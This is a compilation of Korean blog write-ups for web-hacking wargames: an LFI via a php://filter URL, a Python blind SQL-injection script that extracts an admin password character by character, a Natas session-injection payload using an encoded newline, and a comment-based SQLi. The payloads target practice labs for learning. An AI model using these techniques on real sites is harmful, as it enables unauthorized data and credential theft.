위는 Challenge 25의 초기 화면이다.

url이 다음과 같았다. http://webhacking.kr:10001/?file=hello

 

url 뒤를 file=flag로 바꾸어주었더니 아래와 같이 FLAG is in the code라고 출력이 되었다.

 

PHP Wrapper을 통해 LFI공격을 할 수 있다고 한다.

여기서는 php://filter 기능을 이용해야한다고 한다.

 

http://webhacking.kr:10001/?file=php://filter/convert.base64-encode/resource=flag 

를 입력해주었더니 아래와 같이 문자열이 출력되었다.

 

base64 format으로 decode해주었더니 아래와 같이 flag가 나왔다.

 

위 flag를 auth에 입력해주었더니 Clear하였다.

'Web Hacking > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] Challenge 47  (0) 2022.11.06
[webhacking.kr] Challenge 27  (0) 2022.10.09
[webhacking.kr] Challenge 19  (0) 2022.09.24
[webhacking.kr] Challenge 20  (0) 2022.09.18
[webhacking.kr] Challenge 1  (0) 2022.09.09

pw에서 싱글쿼터의 입력을 막아두었고, no에서 싱글쿼터, substr, ascii, =의 입력을 막아둔 상태이다.

 

아래는 비밀번호를 구하는 자동화 스크립트이다.

import requests

url="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?"
cookies = {'PHPSESSID' : 'hhh6husmeed2bk878j8u8sp1ak'}

len=0
while True:
    len+=1
    print(len)
    val="1 || id like \"admin\" && length(pw) like {} #".format(len)
    params={'no':val}
    res=requests.get(url, params=params , cookies=cookies)
    if "Hello admin" in res.text:
        print("password length=",len)
        break
print()

arr=[]    
for k in range(1,len+1):
    for j in range(32,127):
        val="1 || id like \"admin\" && ord(mid(pw, {}, 1)) like {} #".format(k, j)
        params={'no':val}
        res=requests.get(url, params=params , cookies=cookies)
        if 'Hello admin' in res.text:
            arr.append(chr(j))
            print(arr)
            break
print("password=",arr)

ord함수는 문자를 인자로 받고, 그 문자에 해당하는 유니코드 정수를 반환한다.

이전 단계에서는 ascii함수를 이용했는데 이를 이용할 수 없어 ord함수를 이용해 자동화 스크립트를 작성하였다.

 

아래는 위 코드를 실행한 결과이다.

 

 

?pw=0b70ea1f를 입력해주었더니 아래와 같이 Clear하였다.

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] Giant  (0) 2022.11.06
[Lord of SQL Injection] Bugbear  (0) 2022.10.09
[Lord of SQL Injection] Golem  (0) 2022.09.24
[Lord of SQL Injection] Skeleton  (0) 2022.09.18
[Lord of SQL Injection] vampire  (0) 2022.09.09

위는 natas20의 초기화면이다.

 

아래 코드는 View sourcecode를 통해 확인해주었다.

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas20", "pass": "<censored>" };</script></head>
<body>
<h1>natas20</h1>
<div id="content">
<?php

function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}
/* }}} */

/* we don't need this */
function myopen($path, $name) {
    //debug("MYOPEN $path $name");
    return true;
}

/* we don't need this */
function myclose() {
    //debug("MYCLOSE");
    return true;
}

function myread($sid) {
    debug("MYREAD $sid");
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID");
        return "";
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    if(!file_exists($filename)) {
        debug("Session file doesn't exist");
        return "";
    }
    debug("Reading from ". $filename);
    $data = file_get_contents($filename);
    $_SESSION = array();
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }
    return session_encode();
}

function mywrite($sid, $data) {
    // $data contains the serialized version of $_SESSION
    // but our encoding is better
    debug("MYWRITE $sid $data");
    // make sure the sid is alnum only!!
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID");
        return;
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    $data = "";
    debug("Saving in ". $filename);
    ksort($_SESSION);
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }
    file_put_contents($filename, $data);
    chmod($filename, 0600);
}

/* we don't need this */
function mydestroy($sid) {
    //debug("MYDESTROY $sid");
    return true;
}
/* we don't need this */
function mygarbage($t) {
    //debug("MYGARBAGE $t");
    return true;
}

session_set_save_handler(
    "myopen",
    "myclose",
    "myread",
    "mywrite",
    "mydestroy",
    "mygarbage");
session_start();

if(array_key_exists("name", $_REQUEST)) {
    $_SESSION["name"] = $_REQUEST["name"];
    debug("Name set to " . $_REQUEST["name"]);
}

print_credentials();

$name = "";
if(array_key_exists("name", $_SESSION)) {
    $name = $_SESSION["name"];
}

?>

<form action="index.php" method="POST">
Your name: <input name="name" value="<?=$name?>"><br>
<input type="submit" value="Change name" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

 

function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}

위 코드를 통해 admin을 1로 만들어야 한다는 것을 알 수 있다. 또한 debug값을 확인할 수 있다.

 

url에 ?debug=true&name=admin을 추가해주었더니 아래와 같이 떴다.

admin=1임을 넣어주기 위해 &admin=1을 해보았지만 아무런 변화가 일어나지 않았다.

그래서 개행문자를 이용하여 인코딩된 문자열을 넣어주었다.

url에 ?debug=true&name=admin%0aadmin%201 을 추가해주었더니 아래와 같이 비밀번호를 얻을 수 있었다.

|89OWrTkGmiLZLv12JY4tLj2c4FW0xn56

'Web Hacking > Natas' 카테고리의 다른 글

[Natas] Level 21 > Level 22  (0) 2022.11.05
[Natas] Level 20 > Level 21  (0) 2022.10.09
[Natas] Level 18 > Level 19  (0) 2022.09.24
[Natas] Level 17 > Level 18  (0) 2022.09.18
[Natas] Level 16 > Level 17  (0) 2022.09.11

Challenge 19의 초기 화면이다.

제출 버튼을 눌렀더니 아래와 같이 admin이 아니라고 출력되었다. 이와 동시에 url이 다음과 같이 바뀌었다. http://webhacking.kr/challenge/js-6/?id=admin


url에 ?id=admin'#을 입력해주어 뒤를 주석처리하도록 해주었다.
이를 통해 다음과 같이 공격에 성공할 수 있었다.

'Web Hacking > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] Challenge 47  (0) 2022.11.06
[webhacking.kr] Challenge 27  (0) 2022.10.09
[webhacking.kr] Challenge 25  (0) 2022.10.02
[webhacking.kr] Challenge 20  (0) 2022.09.18
[webhacking.kr] Challenge 1  (0) 2022.09.09

+ Recent posts